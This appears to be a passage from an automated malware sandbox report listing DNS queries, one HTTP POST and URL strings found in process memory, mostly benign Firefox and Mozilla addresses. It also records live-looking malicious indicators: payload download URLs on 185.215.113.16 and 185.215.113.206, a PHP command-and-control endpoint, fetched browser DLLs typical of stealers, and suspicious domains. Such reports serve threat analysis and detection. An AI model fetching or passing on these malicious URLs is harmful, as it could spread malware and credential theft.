Source: firefox.exe, 00000021.00000002.3231930703.0000262E8FF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3180233244.00000209F69B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000002.3231930703.0000262E8FF00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.comZ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000002.3173030335.00000209F6051000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3195369881.00000209F777A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3173030335.00000209F602E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: atten-supporse.biz
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: mitmdetection.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: httpbin.org
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: home.twentykx20pt.top
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: www.reddit.com
Source: global traffic	DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic	DNS traffic detected: DNS query: twitter.com
Source: global traffic	DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: reddit.map.fastly.net
Source: global traffic	DNS traffic detected: DNS query: services.addons.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: normandy.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: normandy-cdn.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: twentykx20pt.top

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: atten-supporse.biz

Source: firefox.exe, 00000021.00000002.3139500286.00000209E556B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: file.exe, 00000000.00000002.2642547892.00000000008DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: 43cdd8ad97.exe, 00000011.00000002.3296196999.0000000000E86000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.3170621924.0000000000F0B000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.3173457358.0000000000F0C000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.3172341828.0000000000ED2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 43cdd8ad97.exe, 00000011.00000002.3294871550.0000000000B3B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeJ
Source: 43cdd8ad97.exe, 00000011.00000003.3172341828.0000000000ED2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exezO
Source: 43cdd8ad97.exe, 00000011.00000003.3172341828.0000000000ED2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exezm
Source: 43cdd8ad97.exe, 00000011.00000002.3296196999.0000000000E86000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.3172341828.0000000000ED2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000002.2643149920.0000000000B9C000.00000040.00000001.01000000.00000003.sdmp, 998d30a932.exe, 00000012.00000002.2948364302.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 998d30a932.exe, 00000012.00000002.2948364302.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2642547892.0000000000888000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2642547892.0000000000888000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll5
Source: file.exe, 00000000.00000002.2642547892.0000000000888000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2642547892.0000000000888000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll;
Source: file.exe, 00000000.00000002.2642547892.0000000000888000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2642547892.0000000000888000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllK
Source: file.exe, 00000000.00000002.2642547892.0000000000888000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dlls
Source: file.exe, 00000000.00000002.2642547892.0000000000888000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2642547892.0000000000888000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2642547892.0000000000888000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllW
Source: file.exe, 00000000.00000002.2642547892.00000000008A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: 998d30a932.exe, 00000012.00000002.2948364302.0000000000B66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/Local
Source: 998d30a932.exe, 00000012.00000002.2948364302.0000000000B66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/Nc
Source: 998d30a932.exe, 00000012.00000002.2948364302.0000000000B66000.00000004.00000020.00020000.00000000.sdmp, 998d30a932.exe, 00000012.00000002.2948364302.0000000000B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 998d30a932.exe, 00000012.00000002.2948364302.0000000000B66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: 998d30a932.exe, 00000012.00000002.2948364302.0000000000B66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/pc
Source: file.exe, 00000000.00000002.2643149920.0000000000B9C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php2d7aa9ab9f8fdaa0f7571a44a0c1xtension
Source: 998d30a932.exe, 00000012.00000002.2948364302.0000000000B66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php6-535557bcc5fal
Source: file.exe, 00000000.00000002.2673516305.00000000235C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php:
Source: file.exe, 00000000.00000002.2642547892.0000000000888000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php?O
Source: file.exe, 00000000.00000002.2642547892.00000000008A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpBrowser
Source: 998d30a932.exe, 00000012.00000002.2948364302.0000000000B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpJ-
Source: file.exe, 00000000.00000002.2673516305.00000000235C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpY
Source: file.exe, 00000000.00000002.2673516305.00000000235C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpaMa
Source: file.exe, 00000000.00000002.2643149920.0000000000B54000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: file.exe, 00000000.00000002.2673516305.00000000235C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpk
Source: file.exe, 00000000.00000002.2673516305.00000000235C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpyRY
Source: 998d30a932.exe, 00000012.00000002.2948364302.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: 43cdd8ad97.exe, 00000011.00000003.2916095631.00000000055E2000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3130961745.00000000056DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3195369881.00000209F771A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 43cdd8ad97.exe, 00000011.00000003.2916095631.00000000055E2000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3130961745.00000000056DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3195369881.00000209F771A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 00000021.00000002.3148604180.00000209F137D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 00000021.00000002.3158948654.00000209F39C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: 43cdd8ad97.exe, 00000011.00000003.2916095631.00000000055E2000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3130961745.00000000056DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3195369881.00000209F771A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 43cdd8ad97.exe, 00000011.00000003.2916095631.00000000055E2000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3130961745.00000000056DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3195369881.00000209F771A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 43cdd8ad97.exe, 00000011.00000003.2916095631.00000000055E2000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3130961745.00000000056DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3195369881.00000209F771A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 43cdd8ad97.exe, 00000011.00000003.2916095631.00000000055E2000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3130961745.00000000056DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3195369881.00000209F771A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 43cdd8ad97.exe, 00000011.00000003.2916095631.00000000055E2000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3130961745.00000000056DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3195369881.00000209F771A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 00000021.00000002.3166315507.00000209F56D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3180233244.00000209F69EA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3169435535.00000209F5903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3222392437.00000209FD88C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3187443468.00000209F6E6F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 00000021.00000002.3180233244.00000209F69B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/
Source: firefox.exe, 00000021.00000002.3158948654.00000209F3965000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3203014492.00000209F826D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3187443468.00000209F6E28000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3198999420.00000209F7BD3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3180233244.00000209F69E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000021.00000002.3216773750.00000209FD5DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.3180233244.00000209F69EA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3177450546.00000209F66A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3180233244.00000209F69E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 00000021.00000002.3216773750.00000209FD5DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.3216773750.00000209FD596000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3180233244.00000209F69E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 00000021.00000003.3103409848.00000209F6E35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3187443468.00000209F6E28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-04/schema#
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-04/schema##removeLangTagFromPref/newLangTags
Source: firefox.exe, 00000021.00000003.3103409848.00000209F6E35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3187443468.00000209F6E28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-06/schema#
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-06/schema#resource://gre/modules/JsonSchema.sys.mjsgetLanguageTranslati
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#
Source: firefox.exe, 00000021.00000003.3103409848.00000209F6E35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3187443468.00000209F6E28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#-
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#Unique
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 00000021.00000003.3103409848.00000209F6E35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3171699560.00000209F5F6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3182440746.00000209F6B65000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3187443468.00000209F6E28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org
Source: firefox.exe, 00000021.00000002.3231930703.0000262E8FF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3232920233.00002EB7FEC00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3177450546.00000209F6672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3131294684.000000E3537D8000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3231306127.00001F13A7704000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3171699560.00000209F5F8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3171699560.00000209F5F6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/additionalProperties
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/appId
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/appName
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/appNameThe
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThreshold
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryUseCountThreshold
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3171699560.00000209F5F6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/boolean
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/ratio
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/slug
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/itemsresource://gre/modules/AppMenuNotifications.sy
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/featureId
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/value/ad
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/itemshttp://mozilla.org/#
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/ratio
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/ratiohttp://mozilla.org/#/properti
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/slug
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1http://mozilla.org/#/properties/branches/anyOf/0%
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/itemsresource://gre/modul
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/ratio
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/slug
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2http://mozilla.org/#/properties/startDate
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2http://mozilla.org/#/properties/startDatehttp://mozi
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/count
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/start
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/total
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/totalhttps://www.google.com/search?client=fi
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfighttp://mozilla.org/#/properties/outcomeshttp://mozilla.o
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/channel
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/channelhttp://mozilla.org/#/properties/isRolloutBranch
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/endDate
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/endDateresource://gre/modules/Timer.sys.mjsresource://normandy/Norma
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/enrollmentEndDate
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/enrollmentEndDatehttp://mozilla.org/#/properties/localizations/anyOf
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureIds
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureIds/itemshttp://mozilla.org/#/properties/branches
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureValidationOptOut
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/id
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/id4fb599b7-2bfe-40fa-aec3-5b51dcdef652
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isEnrollmentPaused
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isEnrollmentPausedhttp://mozilla.org/#/properties/bucketConfig/prope
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isRollout
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties
